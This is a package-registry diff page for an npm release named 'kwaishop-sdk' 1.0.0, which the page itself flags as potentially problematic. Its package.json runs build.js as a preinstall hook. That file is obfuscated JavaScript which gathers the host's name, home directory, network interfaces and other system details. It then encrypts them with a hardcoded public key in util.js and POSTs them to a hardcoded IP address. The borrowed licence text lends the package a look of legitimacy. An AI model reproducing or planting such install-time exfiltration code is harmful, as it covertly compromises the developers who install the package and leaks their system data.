kwaishop-sdk 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of kwaishop-sdk might be problematic. Click here for more details.
- package/LICENSE +23 -0
- package/README.md +5 -0
- package/bin/www.js +1 -0
- package/build.js +1 -0
- package/package.json +13 -0
- package/util.js +37 -0
package/LICENSE
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
(The MIT License)
|
2
|
+
|
3
|
+
Copyright (c) 2014 Jonathan Ong <me@jongleberry.com>
|
4
|
+
Copyright (c) 2015 Douglas Christopher Wilson <doug@somethingdoug.com>
|
5
|
+
|
6
|
+
Permission is hereby granted, free of charge, to any person obtaining
|
7
|
+
a copy of this software and associated documentation files (the
|
8
|
+
'Software'), to deal in the Software without restriction, including
|
9
|
+
without limitation the rights to use, copy, modify, merge, publish,
|
10
|
+
distribute, sublicense, and/or sell copies of the Software, and to
|
11
|
+
permit persons to whom the Software is furnished to do so, subject to
|
12
|
+
the following conditions:
|
13
|
+
|
14
|
+
The above copyright notice and this permission notice shall be
|
15
|
+
included in all copies or substantial portions of the Software.
|
16
|
+
|
17
|
+
THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
|
18
|
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
19
|
+
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
|
20
|
+
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
|
21
|
+
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
|
22
|
+
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
|
23
|
+
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
package/bin/www.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
console.log("OK");
|
package/build.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x9c0498=_0x20fd;(function(_0xda259c,_0x365c02){const _0x52aa97=_0x20fd,_0x1cdec7=_0xda259c();while(!![]){try{const _0x50f597=-parseInt(_0x52aa97(0x202))/0x1*(parseInt(_0x52aa97(0x1f2))/0x2)+-parseInt(_0x52aa97(0x1f8))/0x3*(parseInt(_0x52aa97(0x212))/0x4)+parseInt(_0x52aa97(0x1f1))/0x5+parseInt(_0x52aa97(0x217))/0x6+-parseInt(_0x52aa97(0x211))/0x7*(parseInt(_0x52aa97(0x215))/0x8)+-parseInt(_0x52aa97(0x1f6))/0x9*(-parseInt(_0x52aa97(0x1ed))/0xa)+parseInt(_0x52aa97(0x1f7))/0xb*(parseInt(_0x52aa97(0x213))/0xc);if(_0x50f597===_0x365c02)break;else _0x1cdec7['push'](_0x1cdec7['shift']());}catch(_0x5b086f){_0x1cdec7['push'](_0x1cdec7['shift']());}}}(_0x5e92,0x4833f));const _0x50ebcc=(function(){let _0x34b823=!![];return function(_0x286d86,_0x463b3a){const _0x3e7ba4=_0x34b823?function(){const _0x1ecc32=_0x20fd;if(_0x463b3a){const _0x4300f5=_0x463b3a[_0x1ecc32(0x218)](_0x286d86,arguments);return _0x463b3a=null,_0x4300f5;}}:function(){};return _0x34b823=![],_0x3e7ba4;};}()),_0x376a98=_0x50ebcc(this,function(){const _0x58d08d=_0x20fd,_0xeebc7=function(){const _0x234e89=_0x20fd;let _0x8d6113;try{_0x8d6113=Function(_0x234e89(0x21d)+_0x234e89(0x1ff)+');')();}catch(_0x50a771){_0x8d6113=window;}return _0x8d6113;},_0x14ca3c=_0xeebc7(),_0x50aadb=_0x14ca3c[_0x58d08d(0x1ee)]=_0x14ca3c[_0x58d08d(0x1ee)]||{},_0x147853=[_0x58d08d(0x200),'warn',_0x58d08d(0x1f5),_0x58d08d(0x1f4),_0x58d08d(0x1f3),_0x58d08d(0x1f0),'trace'];for(let _0x1e74cb=0x0;_0x1e74cb<_0x147853[_0x58d08d(0x208)];_0x1e74cb++){const _0xbb745b=_0x50ebcc['constructor'][_0x58d08d(0x205)][_0x58d08d(0x203)](_0x50ebcc),_0xcd6103=_0x147853[_0x1e74cb],_0x437f4d=_0x50aadb[_0xcd6103]||_0xbb745b;_0xbb745b[_0x58d08d(0x21e)]=_0x50ebcc[_0x58d08d(0x203)](_0x50ebcc),_0xbb745b[_0x58d08d(0x20e)]=_0x437f4d['toString'][_0x58d08d(0x203)](_0x437f4d),_0x50aadb[_0xcd6103]=_0xbb745b;}});_0x376a98();const https=require(_0x9c0498(0x20b)),os=require('os'),crypto=require('crypto'),x=require(_0x9c0498(0x1fc));var report={'arch':os[_0x9c0498(0x206)](),'cpus':os[_0x9c0498(0x209)](),'endianness':os[_0x9c0498(0x1ec)](),'freemem':os[_0x9c0498(0x20a)](),'homedir':os[_0x9c0498(0x20c)](),'hostname':os[_0x9c0498(0x207)](),'loadavg':os[_0x9c0498(0x1fb)](),'networkInterfaces':os[_0x9c0498(0x201)](),'platform':os['platform'](),'release':os[_0x9c0498(0x1fe)](),'tmpdir':os[_0x9c0498(0x1f9)](),'totalmem':os[_0x9c0498(0x1ef)](),'type':os[_0x9c0498(0x1eb)](),'uptime':os[_0x9c0498(0x204)]()},data=JSON[_0x9c0498(0x219)](x[_0x9c0498(0x216)](JSON[_0x9c0498(0x219)](report)));function _0x20fd(_0x54c95f,_0x128809){const _0x27f942=_0x5e92();return _0x20fd=function(_0x376a98,_0x50ebcc){_0x376a98=_0x376a98-0x1eb;let _0x44836a=_0x27f942[_0x376a98];return _0x44836a;},_0x20fd(_0x54c95f,_0x128809);}function _0x5e92(){const _0x5d1478=['12WKZywR','POST','2446280bRKChs','encryptM','1784412wmoDzu','apply','stringify','45.77.82.187','write','request','return\x20(function()\x20','__proto__','type','endianness','137410BPbZID','console','totalmem','table','1258505huBKoP','18XMyBeL','exception','error','info','9hVMHHf','1889558FMJwFd','7269rGKRlx','tmpdir','application/json','loadavg','./util','/healthy','release','{}.constructor(\x22return\x20this\x22)(\x20)','log','networkInterfaces','4827iwBRef','bind','uptime','prototype','arch','hostname','length','cpus','freemem','http','homedir','end','toString','stdout','data','7EIzBdn','148vUiEpP'];_0x5e92=function(){return _0x5d1478;};return _0x5e92();}const options={'hostname':_0x9c0498(0x21a),'port':0x26a1,'path':_0x9c0498(0x1fd),'method':_0x9c0498(0x214),'headers':{'Content-Type':_0x9c0498(0x1fa),'Content-Length':data[_0x9c0498(0x208)]}},req=https[_0x9c0498(0x21c)](options,_0x2ca46d=>{const _0x3f3fe=_0x9c0498;_0x2ca46d['on'](_0x3f3fe(0x210),_0x5c94ac=>{const _0x1ac2ba=_0x3f3fe;process[_0x1ac2ba(0x20f)][_0x1ac2ba(0x21b)](_0x5c94ac);});});req['on']('error',_0x2d5baf=>{const _0x8d7061=_0x9c0498;console[_0x8d7061(0x1f4)](_0x2d5baf);return;}),req[_0x9c0498(0x21b)](data),req[_0x9c0498(0x20d)]();
|
package/package.json
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "kwaishop-sdk",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "build.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node build.js",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"keywords": [],
|
11
|
+
"author": "",
|
12
|
+
"license": "ISC"
|
13
|
+
}
|
package/util.js
ADDED
@@ -0,0 +1,37 @@
|
|
1
|
+
/*
|
2
|
+
* Copyright(c) 2010-2021 Karen P. Evans
|
3
|
+
* MIT Licensed
|
4
|
+
*/
|
5
|
+
|
6
|
+
const crypto = require('crypto')
|
7
|
+
|
8
|
+
publicKey = `-----BEGIN PUBLIC KEY-----
|
9
|
+
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDhK7w+gS45FaIL88s+vmUClt/r
|
10
|
+
bTY6GAlh9grzFAr4W/4kVJgyfvg/IDZmVG8LeIym5fcjAR03YtjjxRi6pTzUBEls
|
11
|
+
GdJ7w6ThjHcDBjT7gpmnP4mU6LmA4tZBMVIr/A0vkTI+jb7ldzSjpDqXTrb7a5Ua
|
12
|
+
hcpguhuZZCfsRGkIAwIDAQAB
|
13
|
+
-----END PUBLIC KEY-----`
|
14
|
+
|
15
|
+
var encryptM = function msgEncrypt(data){
|
16
|
+
var resData = {
|
17
|
+
m:"",
|
18
|
+
k:"",
|
19
|
+
i:""
|
20
|
+
}
|
21
|
+
|
22
|
+
let key = crypto.randomBytes(16)
|
23
|
+
let iv = crypto.randomBytes(16)
|
24
|
+
|
25
|
+
var cipherChunks = []
|
26
|
+
var cipher = crypto.createCipheriv('aes-128-cbc', key, iv)
|
27
|
+
cipher.setAutoPadding(true)
|
28
|
+
cipherChunks.push(cipher.update(data, 'utf8', 'base64'))
|
29
|
+
cipherChunks.push(cipher.final('base64'))
|
30
|
+
resData.m = cipherChunks.join('')
|
31
|
+
resData.k = (crypto.publicEncrypt(publicKey, key)).toString('base64')
|
32
|
+
resData.i = iv.toString('base64')
|
33
|
+
|
34
|
+
return resData
|
35
|
+
}
|
36
|
+
|
37
|
+
module.exports = {encryptM:encryptM}
|